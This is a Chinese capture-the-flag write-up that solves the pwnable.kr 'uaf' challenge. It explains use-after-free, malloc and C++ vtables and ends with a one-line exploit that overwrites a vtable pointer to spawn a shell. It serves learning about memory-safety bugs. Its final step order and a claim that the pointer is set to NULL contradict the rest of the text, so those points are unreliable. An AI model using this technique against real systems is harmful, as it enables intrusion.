pwnable.kr uaf之wp
几乎都想要放弃了,感觉学了好久还是什么都不会,这个题好像很难的样子,有很多知识点需要补充一下:
1.【UAF】分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。
2.【UAF利用】
(1)先搞出来一个迷途指针
(2)精心构造数据填充被释放的内存区域
(3)再次使用该指针,让填充的数据使eip发生跳转。
3.【malloc】
大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。
小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。
在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。
对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。
4.【虚函数】
虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类(vtable)中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。
接下来分析函数:
1 #include <fcntl.h> 2 #include <iostream> 3 #include <cstring> 4 #include <cstdlib> 5 #include <unistd.h> 6 using namespace std; 7 8 class Human{ 9 private: 10 virtual void give_shell(){ 11 system("/bin/sh"); 12 } 13 protected: 14 int age; 15 string name; 16 public: 17 virtual void introduce(){ 18 cout << "My name is " << name << endl; 19 cout << "I am " << age << " years old" << endl; 20 } 21 }; 22 23 class Man: public Human{ 24 public: 25 Man(string name, int age){ 26 this->name = name; 27 this->age = age; 28 } 29 virtual void introduce(){ 30 Human::introduce(); 31 cout << "I am a nice guy!" << endl; 32 } 33 }; 34 35 class Woman: public Human{ 36 public: 37 Woman(string name, int age){ 38 this->name = name; 39 this->age = age; 40 } 41 virtual void introduce(){ 42 Human::introduce(); 43 cout << "I am a cute girl!" << endl; 44 } 45 }; 46 47 int main(int argc, char* argv[]){ 48 Human* m = new Man("Jack", 25); 49 Human* w = new Woman("Jill", 21); 50 51 size_t len; 52 char* data; 53 unsigned int op; 54 while(1){ 55 cout << "1. use\n2. after\n3. free\n"; 56 cin >> op; 57 58 switch(op){ 59 case 1: 60 m->introduce(); 61 w->introduce(); 62 break; 63 case 2: 64 len = atoi(argv[1]); 65 data = new char[len]; 66 read(open(argv[2], O_RDONLY), data, len); 67 cout << "your data is allocated" << endl; 68 break; 69 case 3: 70 delete m; 71 delete w; 72 break; 73 default: 74 break; 75 } 76 } 77 78 return 0; 79 }
如下:
class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; }
类human有虚函数,所以有一个vtable,这个vtable中记录了类中所有虚函数的函数指针,即包括give_shell和introduce两个函数的函数指针。接着往下看:
class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } };
这两个类函数,继承了hunam函数,实现了各自的Introduce,这两个类都会继承父类的vtable,vtable中introduce的函数指针被替换成了他们自己的函数地址。
接下来再看主函数:
int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
主函数是一个case选择:
1.调用两个类函数
2.分配data空间,从文件名为argv[2]中读取长度为argv[1]的字符到data部分。
3.释放对象
这里如果是先执行3再执行2,那么把对象空间释放并且把指针置NULL却又去引用了,就触发了UAF漏洞。那么如何操纵被释放的空间呢?可以看到在case2中,是从文件名为argv[2]中读取长度为argv[1]的字符到data部分。利用前面所述UAF漏洞,data在分配空间的时候就分配到了case3中被释放的空间。如果我们能够把introduce函数的指针覆盖为give_shell的指针,那么就可以在接着执行1,调用shell了。
可以看到程序中分配了24个字节,接着片下看:
此处调用了man函数,一步步跟进去,发现了give_shell地址
返回去看一下,发现了human的vtable,往上走一点,又发现了man的vtable:
下面的地址点进去后:分别是give_shell地址和introducd地址
而human中give_shell地址和与man一致,但introduce却不同:
接着分析swich函数,选择1,调用introduce函数,
补充:
当类中有虚函数的时候,编译器会为类插入一个我们看不见的数据并建立一个表。这个表就是虚函数表(vtbl),那个我们看不见的数据就是指向虚函数表的指针——虚表指针(vptr)。虚函数表就
是为了保存类中的虚函数的地址。我们可以把虚函数表理解成一个数组,数组中的每个元素存放的就是类中虚函数的地址。当调用虚函数的时候,程序不是像普通函数那样直接跳到函数的代码处,而
是先取出vptr即得到虚函数表的地址,根据这个来到虚函数表里,从这个表里取出该函数的地址,最后调用该函数。所以只要不同类的vptr不同,他对应的vtbl就不同,不同的vtbl装着对应类的
虚函数地址,这样虚函数就可以完成它的任务了。
于是根据上图可以分析出v13是vptr,再由
v13再转换为指针,加上8为introduce的第一个指针。然后调用introduce。
我们漏洞利用的思路是调用introduce的时候,换成give_shell地址调用。
所以往下分析:
前面我们分析了give_shell的地址和introduce的地址give_shell的地址+8=introduce的地址。即give_shell=introduce-8,(give_shell=v13+8-8),如果想调用introduce时调用成give_shell就要将introduce的地址减去8指向give_shell地址
如图,如果我们把vtable指向图中地址等于v13,那么v13+8调用introduce时不就调用成了give_shell
“在C++中,如果类中有虚函数,那么它就会有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。”
那么根据这句话所说,这个程序在case2中读取数据的填充到data空间的时候,开始的八字节就是vtable。之后是类的数据。
所以利用过程如下:
uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" >/tmp/poc
uaf@ubuntu:~$ ./uaf 24 /tmp/poc
得到:
选1先释放空间获得地址,选2读取数据填充到data空间,之后选择2是类的数据。然后选1调用函数
参考链接 :http://blog.csdn.net/qq_20307987/article/details/51511230